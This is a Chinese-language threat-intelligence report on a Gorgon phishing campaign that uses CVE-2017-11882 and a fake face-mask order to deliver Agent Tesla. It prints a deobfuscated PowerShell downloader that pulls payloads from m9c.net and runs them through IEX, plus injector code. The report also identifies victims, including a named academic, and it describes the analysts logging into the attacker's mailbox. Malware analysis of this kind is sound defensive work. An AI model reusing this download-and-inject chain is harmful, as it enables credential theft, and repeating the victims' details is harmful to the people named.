启明星辰威胁情报中心在日常的威胁情报监控中,发现一通过漏洞执行恶意代码和恶意脚本的恶意文档。分析后推测为Gorgon以商业买卖为主题对外贸公司进行钓鱼攻击,最终窃取受害人的敏感信息。
攻击载荷是伪装为口罩订单的RTF文档,作为商业买卖主题发送钓鱼邮件的附件到达。RTF文档打开后会触发CVE-2017-11882漏洞,通过恶意代码执行恶意脚本,脚本中的代码会下载第二阶段载荷,最终将Agent Tesla注入到合法的进程“RegAsm.exe”中。其攻击流程如下所示:

初始载荷
初始的攻击载荷为“face.mask.order.doc”(4FC5BA9426E9191AAB4E694E7E703E13),意为口罩订单。利用VenusEye狩猎系统可以看到这是一个包含OLE嵌入式对象的RTF文件:

初始载荷利用了CVE-2017-11882漏洞启动攻击流程,使用shellcode执行释放的vbs脚本(CmD.exe/C cscript %tmp%\ServerCrypted.vbs)。

ServerCrypted.vbs
ServerCrypted.vbs是经过混淆处理的脚本文件,其中包含反转和混淆处理的PowerShell代码,将其解混淆还原后加载到内存中后作为命令代码执行,vbs脚本执行后最终将会通过PowerShell执行被混淆的代码:
PowerShell马
将脚本中最后执行的PowerShell中的代码转码解混淆后核心代码如下:
$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-ObjectNet.WebClient)'DownloadString'[Microsoft.VisualBasic.CallType]::Method'http://www.m9c.net/uploads/15882060891.jpg')|I`E`X;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname((New-ObjectNet.WebClient)'DownloadString'[Microsoft.VisualBasic.CallType]::Method'http://www.m9c.net/uploads/15882060892.jpg').replace('++''0x')|I`E`X;[Cyb3rops]::FlorianRoth('RegAsm.exe'$f)该Powershell马与Remcos RAT生成的Powershell的相似度极高:

可以看出这段PowerShell主要为下载经过混淆处理的PE文件“http://www.m9c.net/uploads/15882060892.jpg”和混淆编码处理过的注入器“http://www.m9c.net/uploads/15882060891.jpg”,下载后将其处理后执行,最终“15882060891.jpg”将“15882060892.jpg”注入到“RegAsm.exe”中。“[Cyb3rops]::FlorianRoth('RegAsm.exe'$f))”中传递的参数为被注入的进程名和注入的代码:
Net注入器(15882060891.jpg)
“15882060891.jpg”是经过多层编码和混淆的PowerShell脚本,其中包括一个经过混淆的.Net编写的Dll文件(下文中的$M4LS3C4N0N1M31337),将反射该Dll数据到内存中执行,利用Cyb3rops类的FlorianRoth方法,将“15882060892.jpg”还原出的32位PE文件注入到“RegAsm.exe”中。将其还原后核心代码如下:
$M4LS3C4N0N1M31337=IEX('[32位Dll文件]');
$j=[AppDomain]::CreateDomain('TrustedAppdomain',$null,[AppDomain]::CurrentDomain::SetupInformation::ApplicationBase);
$j.PermissionSet.IsUnrestricted();
$j.SetCachePath('C:\Users\Public');
$j.AppendPrivatePath('C:\Users\Public');
$j.[Reflection.Assembly]::Load($M4LS3C4N0N1M31337)

将进程名和PE数据传递给Cyb3rops类的FlorianRoth方法,然后在此方法内再传递给Kaspersky类的VKIntelVitaliKremez方法,多次传递后,最后将PE数据写入到“RegAsm.exe”执行:
Agent Tesla(15882060892.jpg)
“15882060892.jpg”是经过简单的字符替换的代码的32位可执行文件exe:
执行后很明显能发现是Agent Tesla,详细技术分析不再赘述。该Agent Tesla以发送邮件的方式将获取到的计算机信息和用户登录凭证、电脑浏览器的Cookie和键盘/剪贴板记录,回传给远程服务器:
将获取到的计算机信息和用户登录凭证作为邮件的Body发送:

回传使用邮箱为“dividekingslogs@yandex.ru”,收件邮箱也是dividekingslogs@yandex.ru。

从样本中可以看到邮箱登录密码为“lord@********”:
尝试通过上述的用户名和密码进行登录,登陆成功并收取相关邮件信息,邮件细节在后面展开。
溯源/关联分析
C2
“m9c.net”以及“m9c.net/uploads”在Gorgon以往的攻击中使用到,并且Payload都是相似的格式,伪装为jpg图片文件(或mp3音频文件)的URL“m9c.net/uploads/15(^[0-9]{8}$)1.jpg”:
攻击链
钓鱼邮件→附件为包含OLE嵌入式对象的RTF文件→混淆的VBA代码→PowerShell下载2个混淆的Payload(m9c.net/uploads/15(^[0-9]{8}$)1.jpg)和(m9c.net/uploads/15(^[0-9]{8}$)2.jpg)。Payload一个为恶意载荷,另一个为.Net编写的恶意载荷的注入器。VBA代码的混淆方式相似度极高,如大量添加同样的字符串然后替换:
受害者所在国家
通过登录其最后载荷Agent Tesla中发送邮件使用的邮箱,发现其中有多个受害人为政府官员。其中有疑似巴勒斯坦法律界人士“ابوابراهيم”、埃及开罗大学相关人士“semdebad”、土耳其人“sadettinozdemir”,以及——
疑似印度马德拉斯海洋工程系副教授Abdus Samad:

疑似阿联酋官员“elite10”:

疑似阿曼(阿拉伯半岛国家)官员“ابوابراهيم”:
以上能追踪到国家的受害者,大多集中在南亚和中东地区,有很强的地缘性特征(白色填充的国家为巴基斯坦,Gorgon被认为来自巴基斯坦):
可疑收件人
已发送邮箱内有一封邮件不像是由Agent Tesla自动发送的邮件,有两个联系人分别为“gert_bert1@yahoo.com”和“robertwarner170r@gmail.com”:
通过谷歌搜索,“gert_bert1@yahoo.com”邮箱使用者注册了大量的域名,多为仿冒域名,被模仿的域名大多为商业公司:
中国受害者
“gert_bert1@yahoo.com”注册的一域名“accqchina.com”,与宏碁公司中国重庆分公司的缩写有极高相似性:
并在收件箱里发现中国受害者,为上海一外贸公司的销售经理,邮件中包含多个商业交易的沟通,不乏转账信息:
通过查看Gorgon以往的攻击活动,发现其常以获取金钱为目的,攻击外贸公司。上述的C2服务器也关联多个商业行为主题的恶意样本。
总结
APT组织Gorgon是一个被认为来自巴基斯坦的攻击组织,在2018年8月份由Palo Alto Unit42团队进行披露,主要针对全球外贸人士进行攻击,目标还涉及全球政府,外贸等行业。除了获取金钱外,还可能与政治相关。通常使用钓鱼邮件发起攻击,利用其中的附件开启多级的攻击链,最终在收件人的电脑上安装后门,如Agent Tesla,Crimson RAT,NanoCore RAT,njRAT,QuasarRAT,RemcosRAT等商业木马,窃取计算机上的敏感信息以及受害者的登录凭证。在该组织的网络资产有伪装为中国公司的高仿域名,控制的邮箱也已经可以发现中国受害者的存在,可见我国也是该组织攻击目标。
供稿:VenusEye_建欧最坏